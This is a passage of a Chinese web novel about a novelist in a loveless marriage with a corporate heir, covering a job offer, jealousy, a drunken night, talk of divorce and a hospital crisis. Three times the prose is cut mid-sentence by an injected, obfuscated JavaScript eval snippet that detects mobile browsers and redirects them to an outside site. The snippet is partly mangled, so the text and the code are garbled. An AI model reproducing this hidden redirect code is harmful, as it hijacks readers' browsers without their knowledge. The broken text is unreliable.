"你也是啊,我吓了一大跳,你叫阿圆,我就一直以为你是个矮矮胖胖的家伙,没想到你又高又帅,跟模特似的。" 商业互吹完毕,二人点了饮品和甜品,又聊了几句闲话,终于进入正题。 “你准备跳槽去哪儿?”沈昕从昨晚就开始想这个问题了,毕竟他现在所在的平台是业内数一数二的。 阿圆说:“世纪集团,你应该知道吧?” 沈昕心里咯噔了一下。 不会是那个…… 纪轻行的爷爷白手起家创立,一路发展壮大,几年前交给纪轻行管理,继续一路发展壮大,连他家的酒店都想一口吞掉的…… 世纪集团吧? 18.捉奸? 沈昕的表情变化非常明显。 阿圆自以为懂得他震惊的原因,解释说:“世纪集团看起来好像跟咱们这行八竿子打不着,但实际上,他们这两年开始着力开拓文化产业,想整合优质资源,以文化为主导,辐射影视、娱乐、旅游板块,打造自己的品牌和平台,前阵子,他们找上了我。” 嗯,纪轻行想收购他家的酒店,说辞正是这个。 没想到同时还把手伸进了商业文学领域,确实野心勃勃。 “他们看中了我手上作者和作品的价值,以及我在圈子里的人脉和谈判能力,想挖我过去帮他们组建新团队。” “元老级别,可以要求分红吧?”沈昕说,“对你个人而言,带领团队也确实比给平台打工有意义。” “沉老师。”阿圆强调道,“他们首先看中的是我负责的作者和作品。” 沈昕一怔。 阿圆负责的作者和作品很多,要说最有价值,不是夸口,那只能是…… “他们给我承诺了很高的待遇,不过前提是带你一块来。” 沈昕:! 他终于明白昨晚阿圆说“聊聊你的未来”的真正含义了。 然而紧接着,他想到的并非他的未来,而是…… 这些想法是纪轻行提出的吗? 纪轻行是不是也知道有一个写小说的“沉心”,所以才做了这样的决策? 沈昕问:“是世纪集团的谁联系你的?” 这个问题看似突兀,但阿圆对沈昕的生活有了解,知道他家的生意做得挺大,简直就是“不努力写书就要继承家业”的人设,与世纪集团或许有交情,所以才这么问。 阿圆说:“是他们的一个副总,叫何悦,人挺年轻,听说是专门提拔上来负责这一块的,你认识吗?” 沈昕摇了摇头。 这就是说,相关提议很可能都来自于这位何副总,纪轻行只负责拍板。甚至如果纪轻行信任副总,自己不管不问,全权交给对方也是有的。 哎,大事当前,想纪轻行干嘛? 简直有病。 收起胡思乱想,沈昕问阿圆:“你今天就是来说服我跟你一起跳到世纪集团的?” “算是吧。那边想让你做招牌,你来的话,待遇和资源肯定比现在好很多。” “可是听你的意思,世纪集团想做综合盘,免不了要营销。” “所以你现在还是坚决拒绝营销,完全没得商量吗?” 沈昕没说话。 阿圆笑了:“早前劝过你,你不愿意,我不逼你,人各有志嘛。但到了今天,我还是要说,营销不是洪水猛兽,关键在于把准方式和程度。沉老师,咱们合作了这么多年,在你这里,我的人品和能力想必是过关的。” “但是世纪集团究竟怎么样,咱们都不清楚。” “所以我想了个办法解决这个问题。” “什么办法?” 阿圆胸有成竹道:“咱们不要从一个平台转向另一个平台了,干脆直接成立你个人的工作室,与现在的平台和世纪集团谈合作。其实啊,我固然相信世纪集团的实力,但他们毕竟是开拓全新的领域,以后会怎么样不好说。如果只是我一个人也就罢了,带上你,我不是很想冒险。” 阿圆终于和盘托出。 这比刚才说的跳槽步子更大。 沈昕又懵了:“个人工作室?我得……仔细想一想。” “那是自然。我写了一个书面计划,等下跟你细说,你回去慢慢想,或者咨询别人,都可以。” “嗯,不过……这样做的话,现在的平台和世纪集团会同意吗?” “我去谈,问题不大。” 沈昕缓缓点头。 信息量太大了。 最近这两个月,他的生活和事业都出现了全新的局面,人生的平湖不断被扔进巨石,激起四溅的挑战。 别无他法,他只能迎上去,全力以赴,看未来究竟会给他怎样的答案。 聊完成立私人工作室的种种构想,落地窗染上夕阳,道路上车流量变大。 不想挤晚高峰,两人在附近挑了家餐厅吃晚饭。 期间沈昕一直在犹豫一件事。 “阿圆,如果我考虑之后的结果是不想改变,要继续留在现在的地方,你会怎么样呢?” 阿圆像是老早就想过这个问题,当即答道:“那我就只能自己跳槽了。” “可你不是说……” “我可以继续跟他们谈嘛。对他们来说,你我一起加入是最优解,你我成立个人工作室,构建合作关系是退而求其次,我一个人来则是最次。他们要发展这一块,不可能放弃我的,所以你不用有心里负担。” 顿了顿,阿圆又说:“不过我觉得,你会答应我。” 沈昕一愣。 既然如此…… “阿圆,答不答应的先不说,我有另一件事情要告诉你,并且请你一定帮我保密。否则你今天所说的一切,我万万没有同意的可能。” “什么情况?”阿圆一脸迷惑,“嗯……只要不是太离谱的事情,我当然可以保密。” “你的太离谱是指……” “比如违法……之类的?” “哦,那肯定没有。” 沈昕放心了,组织了一下语言,言简意赅地说了他和世纪集团的老大纪轻行结了一场无关感情的婚,纪轻行并不知道他是沉心,他也不想让他知道的事。 阿圆:? 阿圆:??? 阿圆:?????? 他露出了有生以来最为匪夷所思的表情。 沈昕也很无奈,不好意思地红着脸说:“麻烦你了。你是现在唯一知道这些的人,你千万要守口如瓶。我相信你,一定能守口如瓶。” 阿圆崩溃道:“我并不想知道啊!” “可你跟我的关系这么密切,你又无论如何都要去世纪集团,如果我不告诉你,这件事情一定会穿的!” “可是你告诉了我这件事情也迟早会穿啊!这怎么可能一直瞒着!” “只要不是从你这儿穿的就行,我堵上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14379976|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个是一个,其他的你不用管。” 阿圆非常郁闷:“沉老师,我也理解很多作者想瞒着家人和朋友的心情,甚至对于一部分作者来说,瞒着更好,但是你……你都这个水准了,而且你和纪……你们毕竟是夫夫啊!” “也许过阵子就不是了。” “……啊?” 不过三分钟,阿圆的匪夷所思刷新了高度。 沈昕更加脸红。 他是愿意和纪轻行做一对正常的夫夫,愿意为此努力经营,但这两天他又突然觉得,就纪轻行那个脾气,有感情都不一定能长久,更别说没感情了。 只他一个人努力没有用。 终有一天他俩的虚假围城会彻底垮塌。 所以完全没必要告诉纪轻行他还有个沉心的身份。 没工作,不上进,天天在家看时尚杂志,这个人设挺好。 - 夜幕降临。 纪轻行开车回家,满肚子都是气。 先是沈昕气他,接着是沈昕他爸。 都这时候了,老家伙还在异想天开,跟他争这个争那个,也不看看自己有争的资本吗? 上回他一时心软,可怜沈昕这些年来稀里糊涂被欺负得要命,在沈知易和梁瑛面前做出了宠爱的样子,结果老家伙还真信了,今天话里话外拿沈昕说事,想从他身上忽悠出好处。 可笑,他是离了沈昕就活不成的人吗? 气得他直接拒绝了共进晚餐的邀请。 对着法律上的恬不知耻的爹和法律上的更加恬不知耻的绿茶后爹,他吃不下。 但他还是挺饿的。 不知道今晚沈昕做了什么饭。 “嘿siri,给小昕昕打电话。” 通话界面跳出来。 纪轻行顺势看了一眼,几乎同时,连接中断了。 纪轻行:? 有信号啊。 那是拒接? 可是甚至都没有接通一声。 他又打了一遍,还是这样。 他不信邪,再打再打再打…… 都是这样。 不能不信邪了。 这、是、把、他、拉、黑、了、啊! 他…&——)#*#&…¥#@**#¥&…¥#*(*%)!!! 满脑子都是抽象词汇,他要炸了。 究竟怎么了啊,至于把他拉黑!不就是吃了些醋说话放肆了一些吗?沈昕怎么这么小心眼?! 猛地一拍方向盘,纪轻行在路边停下车。 他要解决这个事情,现在立刻马上必须! 愤怒的视线扫过街对面,一愣,然后愤怒升级,他彻底火了—— 步行街上走着两个格外显眼的人,外侧那个后脑勺对着他,看不到脸,里侧那个脸对着他,不是沈昕又是谁?! 好家伙,笑得脸都皱成一朵花了,跟他说话的时候可没这样过啊! 天杀的,知不知道到底谁才是老公! 又猛地一打方向盘,纪轻行凶狠地追了上去。 19.酒醉 可惜没追到。 毕竟是在对街,路上车又多,等他找到能掉头的路口,再赶上去,人早不见了。 不是夸张,纪轻行觉得自己下一秒就要爆炸了,如果沈昕就在面前,如果那个沈昕对着笑,为了他而拒绝他,还不愿意说出姓名的家伙就在面前,他绝对会做出无法收拾的事情。 想到这里,他背后一凉,热血狂飙的脑袋冷静了。 从后视镜中审视自己,他不是十几岁爱冲动的毛头小伙子,也不是大脑空空纸醉金迷的纨绔,不该这么容易就被情绪控制。 更不该让沈昕成为自己情绪的开关。 他双手拍脸。 当街追人不可行。 回家质问大概率会激化矛盾,也不可行。 思来想去,他开车回了公司。 试图通过工作转移注意力,效果有,但不多,他又去私人休息室,从冰箱里取了瓶酒出来。 烈酒。 本意是期望被酒劲儿放倒直接睡觉,无奈适得其反,不仅没能睡着,感性还被彻底刺激,一发不可收拾。 他解开衬衫领口,心烦意乱地靠在沙发上,拿起手机要给沈昕打电话,突然想到被拉黑了,眉头一皱,恨恨地把手机扔向角落。 片刻后,又双手撑着沙发,趴着捡了回来。 - [沉老师,我丈夫在外面跟人鬼混。] ……哈?! 刚回到家的沈昕点开阅读软件聊天板,看到这句话,表情十分精彩。 该怎么回复呢? “你确定?有没有证据?是不是误会了?” “太可恶了!男人都是大猪蹄子!” “离婚!必须跟他离婚!” …… 想了一会儿,沈昕放弃了这些想法。 他认真地在屏幕上敲字,问道:[你现在还好吗?在做什么?有没有人陪你?] 办公室。 纪轻行捧着手机,看着屏幕上的这三句话,鼻子猛地一酸,差点儿哭出来。 这是从小到大第一次有人把他当成弱者去关心。 奇怪的是他没有觉得冒犯,没有觉得可笑,反而很感动,很…… 幸福。 是啊,强惯了的人,做一回弱者又怎么样呢? 感慨地吸了吸鼻子,他止不住地倾诉起来—— [我还行,挺难受的,但也能忍。] [也不仅仅是因为今天这一次,前面发生了不少事,一点一滴加起来,我就有点儿接受不了了。] [我现在在公司,同事基本都下班了,也好,我也不想让人看见我不太正常的样子。] [谢谢老师关心。] [突然跟您说这些,实在抱歉。] 这点沈昕倒是理解,对现实生活中的人难以开口的事情,对网络上没见过的人反而更容易倾诉,倾诉了也不会有后顾之忧。 先前的他就是这样。 刚才他还在想,如果“沉老师的狗”状况太差,如果他俩离得不远,他索性就去一趟,以防对方发生什么万一。 现在看来,对方冷静理性有逻辑,又说不想让人看到,那就没必要唐突了。 一直跟他聊,聊各种各样的话题,让他不要只沉浸在这件坏事里,时刻掌握他的心情变化就好。 聊过一段时间,“沉老师的狗”说:[老师,我有点困,想睡一会儿。] 沈昕问:[在公司睡?] [嗯,暂时不想回家。] [你现在心情好点儿了吗?] [比刚才好多了,您放心,我不会胡来的,这件事虽然是个事,但远不至于真把我怎么样。] [那就好。] [为表感谢,等下给老师打赏。] [哎呀,没这个必要,你要首先关心自己。] [有必要的,第一,占用了老师宝贵的时间,第二,对于我自己来说,开心了花钱,不开心也花钱,都是排遣的方式。] 看来是真“富婆”。 “叮咚——” 打赏到账,沈昕发了[谢谢,我会努力更新,回报你的支持],便不再打扰。 安慰人还是挺费劲的,他站起来伸了个懒腰,看了眼表,突然想起来,纪轻行怎么还没回家? 先前他有时候回来晚,都会提前说一声…… 哦对,他的电话被自己拉黑了。 不过还有其他联系方式啊。 沈昕一边瞎琢磨一边把纪轻行从黑名单里放出来。 他现在消气了。 其实他从来没有拉黑过人,纪轻行是第一个,怪厉害的。 现在…… 要打个电话给他吗? 犹豫来犹豫去,最终决定算了,事情多着呢,哪有时间分给纪轻行。 他去书房写稿。 把手机静音,把电脑上的时间挡住,进入勿扰状态。 时间在静谧中缓缓流淌,一旦投入了,更几乎感觉不到这种流动,唯有成篇成篇的文字证明着生命的进程。 凌晨快一点,他写完了一整段情节,准备去厨房拿点儿喝的,一下楼,正好碰上纪轻行进门。 好家伙,醉得双眼迷离走路打漂儿,原本挺括的衣裳像是在哪儿打过滚,歪七扭八皱得不行。 接着,那双通红的醉眼看了过来,一愣。 “你……还没睡?等、等我呢?” 一如既往的自恋。 沈昕无奈,迎上去扶他,问:“怎么喝这么多?跟我爸喝的?” 纪轻行也不客气,整个人挂在沈昕肩膀上,脑袋脱力沉下,蹭着沈昕的脸,说:“你爸?……他不配!” 沈昕:…… 酒味太重,他伸手把纪轻行的脸推开一些。 “你怎么回来的?” “代、代驾。” “哦,那先洗个澡吧,你自己能洗吗?”沈昕顿了顿,“应该能吧,我看你还行,实在不行再叫我,小心点儿啊。” 踉踉跄跄地上二楼,把人塞进浴室,沈昕去厨房泡了壶淡茶,既解酒,又不至于影响睡眠。 他把茶放在卧室床头柜上。 然后抱起自己的被子、枕头和必要的小物件去了分房时的卧室—— 他还得写一会儿,纪轻行喝醉了,需要好好睡觉,他不打扰他。 半小时后。 胡乱洗完的纪轻行胡乱躺在宽阔的大床上,心在滴血。 本来今晚不打算回来,可转念一想,毕竟结婚了,没有正当理由夜不归宿不好,尤其他和沈昕中午小争吵了一下,矛盾不能隔夜。 所以,他忍着酒后的不适强行回来了。 可沈昕居然嫌弃他,不跟他睡一张床!也不愿意帮他洗澡! 万一他真在浴室脚滑,摔死倒也罢了,一旦摔成植物人,沈昕不就守活寡了吗?! 而且都是因为他自己才喝成了这样。 他却一点儿也不关心!说话轻飘飘的,没事儿人一样。 他可是他老公! 他对他状态不对的老公就是这个态度吗?连素未谋面的沉心都不如! 伤心,太伤心了。 他的心被伤透了。 透透的。 - 第二天,沈昕挺早就起来了。 虽然前一天睡得晚,但心里搁着喝醉的纪轻行,怕他今天还缓不过来,便决定早起看看情况。 结果情况意外得好,纪轻行也按平时的时间起床了,出现在客厅的时候人模狗样光鲜亮丽,头发丝儿都闪着精致,跟昨晚截然不同。 看来醉后迅速恢复也是他们生意人的基础技能。 纪轻行瞥了他一眼,没说话,径直向玄关走去。 沈昕忙说:“时间还够,吃点儿东西吧,我马上做,就五分钟。”说着进了厨房。 心想纪轻行很可能会拒绝。 没关系,反正自己也要吃。 嗯,没吭声,看来是拒绝了。 而且这种不吭声的拒绝方式说明他还没消气。 神经病,昨天明明是他胡说八道无理取闹,自己都消气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14404253|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,他居然还没消气? 沈昕一边准备食材一边瞎想,突然一愣。 门口落下一片阴影,纪轻行进来了。 脱掉了西装外套,挽起了黑色衬衫的袖子。 脸还是很臭。 死傲娇。 死傲娇的视线到处扫描,鄙夷道:“什么玩意儿?一点儿锅气都没有。” 麦片、吐司、花生酱、黄瓜、圣女果、午餐肉。 行吧,确实。 但沈昕还是不忿:“要锅气你跟阿姨说。” 想了想又觉得算了,顶来顶去怪累的,便从冰箱里拿了两个鸡蛋,缓和道:“那煎个鸡蛋吧。” 他把鸡蛋洗好,打在小碗里。 纪轻行顺势拿走,开火开抽油烟机系围裙倒油一气呵成。 过了一会儿像是突然想起了什么,冷冷地说:“你煎的难吃。” 沈昕:………… 行了,知道你是死傲娇,不用再表演了。 吃完早餐,纪轻行冲了牙,再次往门口走。 沈昕默默跟上去,拉了拉他的西装尾巴。 纪轻行回过头来,莫名其妙道:“干什么?” 沈昕已经想了很久了,这时深思熟虑完毕,认真地说:“其实我们可以好好过日子。” 纪轻行蹙眉:“什么意思?” “我愿意跟你好好过日子,你当初答应跟我结婚,应该也是这么想的,而且咱俩之间也没有实质性的矛盾,为什么……”沈昕顿了一下,重新措辞,“咱们找一下各自的初心,好好过日子吧。要么实在觉得不行就离婚,现在这样不上不下的,我觉得没必要。” 纪轻行盯着他:“什么叫好好过日子?” “像正常夫夫一样,该做什么就做什么,不要赌气,不要较劲儿,不要……虚假。就算有些不能立刻做到,但努力去做,认真经营。” 纪轻行没说话,半晌后突然问:“你爱我吗?” 沈昕一愣。 纪轻行说:“你不爱。那你说的不能立刻做到但努力去做,是指你会努力爱我吗?但如果你努力了,还是不爱呢?” 沈昕没想到他会问这个,疑惑道:“那你也不爱我啊,这方面咱俩是平等的就行,婚姻恰恰需要平衡嘛。而且先不论爱不爱的,至少我肯定不会出轨啊,行为上不会,心里也不会,因为我跟你结婚了,就会自动杜绝不该出现在这段婚姻里的事情,这就是我说的两个人一起做该做的事……” “哼。”纪轻行冷笑一声,转身就走。 沈昕再一愣。 什么情况?他哪句话说错了? 纪轻行真是好难搞,简简单单的一件事偏要弄得这么复杂! 眼看着人就要出门了,沈昕实在不想再拖再烦,索性把心一横,跑过去双手握住纪轻行的手腕。 “对,我现在是不爱你,以后会不会爱你我也不确定,但我能确定的是,只要你也愿意跟我好好过日子,我就会成为你在这个世界上最亲密的人。” 纪轻行回头看着他。 沈昕眼神执着:“我会把你放在我心里的第一位,最最亲密,没有之一。” 纪轻行表情变了。 他的胸口很明显地起伏,另一只手按着沈昕的肩,把人推到墙上,低声说:“你弄疼我了。” 沈昕一怔,连忙松开双手。 纪轻行却没松开他,反而因为两只手都自由了,直接往墙上一按,彻底圈住沈昕。 “你弄疼我了,怎么补偿?” 沈昕有点紧张:“你、你说……怎么补偿?” 纪轻行吞了下口水,低头贴在他耳边:“让我也弄疼你,行么?” 沈昕“唰”地脸红,不好意思看他,垂下眼帘,却看见了更加不得了的东西。 他也不由地吞咽了一下。 “你不是还要上班?” 纪轻行轻轻笑了:“上什么班?你在呢,上你就好。” 拦腰将人一抱,大步往回走,却连上楼去卧室都等不及,直接把人压进了客厅沙发的柔软里。 20.我们离婚吧 今天是个阴天。 上午最宝贵的时间,天色却昏昏沉沉,仿若下午的末尾,令人打不起精神。 沈昕站在落地窗边,看着纪轻行的车开上小区的道路,在绿化带上拐了几次,消失于视线。 不久以前,他还以为今天除了躺在床上休息和查询事后要点就什么都做不了了,更有点好奇,有了经验,以后再写起感情,是不是会更复杂细腻一点? 那个时候,他想了很多。 然而实际上,今天的他不需要休息,可以像平时一样想做什么就做什么,可以钉在电脑前写上万字,也可以去跑几千米。 他没有获得复杂细腻的感悟和经验。 他原封不动,还是那个他。 因为…… 沈昕低下头,双拳攥着,像想要忘却什么似地深深呼吸。 刚刚在沙发上,纪轻行带他走完了前戏,然后看着他,用眼神明示要动真格的了。 可再接着却…… 放弃了。 最后他离开了他,离开了欲望的掌握,离开了这个家。 他还记得纪轻行放弃时眼神微妙的变化。 他们离得太近了,那双眼睛里转瞬即逝的痛心和难堪他看得清清楚楚。 是因为“那个人”。 纪轻行又想起了心里的那个别人。 他还过不了自己的坎。 想到这里,沈昕伸手按住胸口。 并没有很难受,因为他清楚地知道,他和纪轻行之间没有爱情。 他不苛求纪轻行立刻忘掉那个人,他可以不在意这一次,他愿意去看纪轻行未来的表现。 不久前说的,两个人好好过日子,有些事就算现在做不到,但努力去做,正是这个意思。 接下来,日子的确是正常过。 只是纪轻行的兴致明显不如最开始那么高昂,不再撩拨他,肢体接触更是没有。 沈昕照旧写作。 他同意了建立个人工作室的提议,阿圆开始和各方洽谈,他则单线联系阿圆,电话里说不清的时候就约见。 为了不影响白天写稿,约见一般都在晚上。 起初他还担心纪轻行又要为此生事,结果却并没有,最多只是在他晚归的时候淡淡地招呼一句“回来了”。 这天晚上,沈昕侧躺在被子里,假装玩手机,实则观察纪轻行。 那个状态,肯定又在联系“那个别人”。 过了一会儿,手机顶端跳出阅读平台的私信通知,是“沉老师的狗”,点进去一看,屏幕上赫然写道—— [老师,我可能要离婚了。] 沈昕:! 他一骨碌从床上爬起来。 背对他侧躺着的纪轻行扭过头来,眼里带着质疑:“你干什么?” “我……”沈昕急忙想借口,“躺着压得胳膊疼,起来放松一下。你要睡觉了吗?我可以出去玩手机。” “不必,那点儿光无所谓,别开声音就行。” “哦,本来就是静音。” 结束了见外的对话,沈昕把枕头竖起来放在床头,靠上去盖好被子,确定纪轻行看不到他的手机,便将注意力转移到“沉老师的狗”身上。 之前“沉老师的狗”说“暂时不会离婚,因为有点儿舍不得”。 但后来又发生了“丈夫在外面跟人鬼混”的事。 看来就是这个突变,让那一点点舍不得也没了。 但他的用词是“可能”。 沈昕便回复道:[你还没完全确定?] [嗯,不过大概率吧。] 哎。 曾经“沉老师的狗”说起他丈夫时虽有抱怨,但听得出那是种甜蜜的抱怨,没想到如今…… 沈昕为他感到难过。 [你现在还好吗?] [还行。老师有什么话想嘱咐我吗?不用考虑立场,也不用考虑我的心情,想说什么尽管说。] 沈昕一愣。 是了,离婚是大事,他不想因为一时昏头做出错误的决定,他想多听听各种各样的声音,而且是真实的声音。 沈昕考虑了一下,非常认真地打字。 [我不知道你和你丈夫的具体情况,无法给出非常有针对性的嘱咐,只说我自己目前对婚姻的看法:要么基于感情,要么有所图,如果两者都不具有或不足够,就听从内心的声音,不后悔就行。] [万一后悔了呢?] 沈昕瞬间明白了他的纠结。 也对,不后悔这话说说可以,但人不是机器,感情和心理常常瞬息万变。 后悔了怎么办呢? 沈昕仔细去想。 [我觉得后悔是事实,不是丢脸。怎么办也要看当时的情况和自己的心声,大抵要么认下悔意,要么努力挽回,不惧结果就是。没有什么经验是放之四海而皆准的,也没有什么事情绝对一成不变。我觉得你现在在无形中给了自己很大的压力,轻松一点儿吧,婚姻固然是大事,但从另一方面说,结了就结了,离了也就离了,至于怎么样呢?] 片刻后。 [我明白了。] [谢谢沉老师,我很受启发。] [今天晚了,打扰您这么久实在不好意思。] 沈昕看他这么说,心里稍稍放松。 两人又客套了几句,道过晚安,这时纪轻行把手机放上床头柜,转身躺平,双手放进被子里。 跟那个“别人”聊完了? 沈昕也收了手机睡下。 只是一时睡不着。 纪轻行应该也睡不着,呼吸很不平稳。 哎,怪尴尬的,还不如分房呢。 硬躺了一会儿,纪轻行突然开口:“沈昕,你还醒着呢吧?我跟你说个事。” 纪轻行很少叫他全名,这么一下怪严肃的,沈昕不禁有些忐忑:“哦,什么事?你说。” “你那次说希望咱俩好好过日子,要么实在觉得不行就离婚,不上不下的没必要,对吧?” 沈昕心里顿时咯噔一下:“是,对,你……” “我想好了,提前告诉你让你有个心理准备,过几天我会跟你爸再谈一次,如果这次还谈不出满意的结果,我们就离婚吧。” 深夜,纪轻行淡淡说完便是万籁俱静。 许久之后,沈昕听到了“咚”的一声。 来自他的心里。 只是一声,很轻。 却好像骤然打破了一些沉寂着的,非常坚实的东西。 沈昕觉得自己的嘴唇和手指在发抖。 他拼命控制,不想让纪轻行看出端倪。 “你怎么突然……” “不算突然,我想了很久,想法起起伏伏,变过很多次,可能是因为没有第一时间跟你说那些变化,所以你觉得突然。” “那你这次……” “彻底想好了。” “我能听听是为什么吗?” 纪轻行没有立刻回答,过了一会儿才说:“当初跟你结婚的原因你是知道的,那时候,我没想到你爸居然还藏着这么多事。后来发现了,我又觉得只要关于你家生意的计划不产生大的变动,就也还可以,但你看到了,我跟你爸一直谈得不顺,这违背了我的初衷,结婚就没意义了。” 沈昕想了想,问道:“之前不是说,你可以把我家的生意抢过来?” 纪轻行无奈地笑了一下:“何必那么折腾,不如直接收购。” 沈昕惊道:“如果我们离婚了,你还要收购?” “事情本来不就是这样么?不过生意方面的运作不好说,随时都有可能出现更好的方案。” 突然之间,沈昕发觉,这似乎是他们难得的心平气和的交流。 或许以后不会再有了。 索性就把想问的都问了。 “那天……就我跟你摊牌的那天,我觉得你应该是……愿意的,你应该不想离婚。” “是。”纪轻行也不否认,“我试过接受你的提议,但我越来越发觉,那不是我想要的。最初我以为可以,但事实证明不行。” 果然如此。 沈昕完全明白了。 纪轻行放不下心里的那个人,不是假设,是经过努力与他好好过日子之后,确确实实证明了的。 曾经他有多想拉进他俩的关系,现在就有多么地知道这不可能。 他们都尽力了。 真地没办法了。 沈昕接受了。 - 第二天早上,纪轻行离开家以后沈昕才起床,慢吞吞地收拾了自己的东西,抱去另一间卧室。 他很是恍惚,这些日子究竟是为什么呢?老天爷就这么喜欢跟他开玩笑吗? 之后,他刻意减少了与纪轻行接触。 虽然住在一起,但房子够大,他的作息时间又自由,他们几乎没怎么见面。 又一个上午,梁瑛打来电话。 沈昕不想接,但不接对方肯定还会再打,反而更影响心情,不如速战速决。 “梁叔叔。”他不带任何情绪地称呼。 “昕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14420094|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昕,你……我没打扰到你吧?” “不打扰。” 梁瑛有点吞吞吐吐的,他便直接问:“你找我有事?” 梁瑛顿了顿:“纪轻行没跟你说?” “说什么?” 又沉默了一会儿,梁瑛说:“昨天晚上,他跟你爸爸又谈了一次酒店的事,他……态度很强硬。” 沈昕明白了。 梁瑛希望他劝劝纪轻行。 但事情的走向早已脱离了他们的预期。 梁瑛又说:“昕昕,你们结婚之前,纪轻行跟你爸爸说得特别好,没想到结婚以后他突然变了,我不明白……” “梁叔叔。”沈昕冷冷地打断,“他为什么变,你真地不明白吗?” 梁瑛语塞。 沈昕控制着自己的语气:“我知道你找我的目的,没有用的,我改变不了他,而且我们也……快离婚了。” “什么?!”梁瑛大惊,即便看不见人都能清晰地感受到他的不淡定,“什么叫你们快离婚了?你们的关系不是还不错吗?上次在酒店,我看他挺喜欢你的。” 沈昕冷笑。 这时梁瑛冷静了些,问:“你们俩谁提的离婚?” “这有区别?” “当然有。”梁瑛认真地说,“如果是你想离婚,叔叔就要劝劝你,千万不要冲动,从你自己的角度考虑,纪轻行已经是你能找到的条件最好的人了,没有感情基础可以慢慢培养。而从咱们家的角度考虑,咱们现在也需要他。没有他的话,家里支持不下去,别说我和你爸爸,就是你也不能像以前那样过日子啊。” 可算把真心话说出来了。 原来在梁瑛心目中,他真的很没用。 如果放在以前,就算酒店不行了,他相信单靠他自己也能重新撑起这个家,他愿意拼他的命去撑起这个家。 但现在没必要了。 他不甚在意地问:“如果是纪轻行提的离婚呢?” “那就说明你不想离,那就还有机会。” 沈昕奇怪道:“什么机会?” “你好好对他。纪轻行这种人,就是架子大,你多照顾照顾他,多给他提供情绪价值,再多……昕昕,叔叔冒昧说一句,你们俩还没……真正在一起过吧?你要抓紧,那方面也先多顺着他。只要真正在一起了,加上我前面说的那些,他就离不开你了,然后……” 沈昕听得一阵恶心,忍不住道:“你当年就是这样对我爸的吗?” 梁瑛的话戛然而止,惊觉受了极大的侮辱:“昕昕你、你怎么能这么说话呢?你和纪轻行已经结婚了,叔叔让你对他好一点儿有错吗?何况叔叔也是为了咱们这个家,你、你究竟还要赌气到什么时候?本来你爸爸想亲自找你,我怕你们吵架,说我来找你。叔叔一直是为你们好的,但叔叔知道,你其实一直没把叔叔当过自家人,是不是?” 相比先前的心寒,沈昕现在是心死。 “梁叔叔,我不想再跟你争辩,你问我的话反过来问问你自己吧。总言而之,酒店的事我确实改变不了纪轻行,家里的生意,当初你和我爸没想让我参与,现在就请继续这一点。” 说完挂了电话。 沈昕猛地向后靠在椅背上。 刚才他非常平静,但就在这一刻,不知道为什么,他突然就不平静了。 胸口剧烈起伏,呼吸急促,像得了心脏病。 他想要大喊大叫,不管不顾地发泄,却又难以理解。 为什么要那样?他不是早就想通了吗?为什么还会有这么大的反应呢? 手机又响了,还是梁瑛。 他直接挂断。 好在没有再打。 渐渐地缓过心情,下午过得还算正常,跟阿圆聊了聊,目前的平台已经顺利转为合作关系,世纪集团那边也谈得差不多了,过几天就签合同。 世纪集团还提出了一个定制作品,历史题材,准备作为重点IP推出。 他从未写过定制项目,觉得是个挑战,但体验不同方式不同类型的创作,也是种乐趣。 直到快吃晚饭的时候,沈知易打来了电话。 一定又是那些话。 沈昕这么想着,一边告诉自己要冷静一边接起来,结果连“喂”字还没来得及说出,就听到了沈知易带着哭腔的又愤怒又崩溃的声音—— “昕昕,我没有想到你竟然这么狠毒,把你梁叔叔气得进了医院!现在医生说必须引产,他肚子里的孩子已经快八个月了啊……你究竟有没有心!你、你现在马上给我过来!” 21.毁灭吧 到了医院,梁瑛正在做引产,手术室外,沈知易满头大汗又急又气,劈头盖脸地又把沈昕指责了一顿。 沈昕这才听明白原委。 原来梁瑛给他打电话的时候是一个人在家,挂了电话,一则被气得不轻,二则知道让沈昕做纪轻行的工作是不可能了,酒店的危机无法解除,纪轻行再若翻脸,重新提起收购也说不定,想着要赶紧跟沈知易商量对策,急急忙忙出门,下楼梯的时候不小心踩空,摔了下来。 手机也摔到远处,其间不知触到了哪里,重播了上一通电话,但是沈昕没接。 梁瑛还撞到了头,当时就起不来了,短暂晕厥后醒来,叫了救护车,又给沈知易打了电话。 可惜已经迟了。 “你梁叔叔没错怪你吧?”沈知易恨恨地说,“你、你现在怎么成了这样?!对过去的那一点事情这么记仇!无论如何,他是你的长辈,还怀着孕,你说话做事之前也要为他的身体想一想!” 沈昕沉着脸色。 他本来不想多说,毕竟现在在医院,梁瑛躺在手术室里,失去了即将出生的孩子,沈知易说几句重话也没什么。 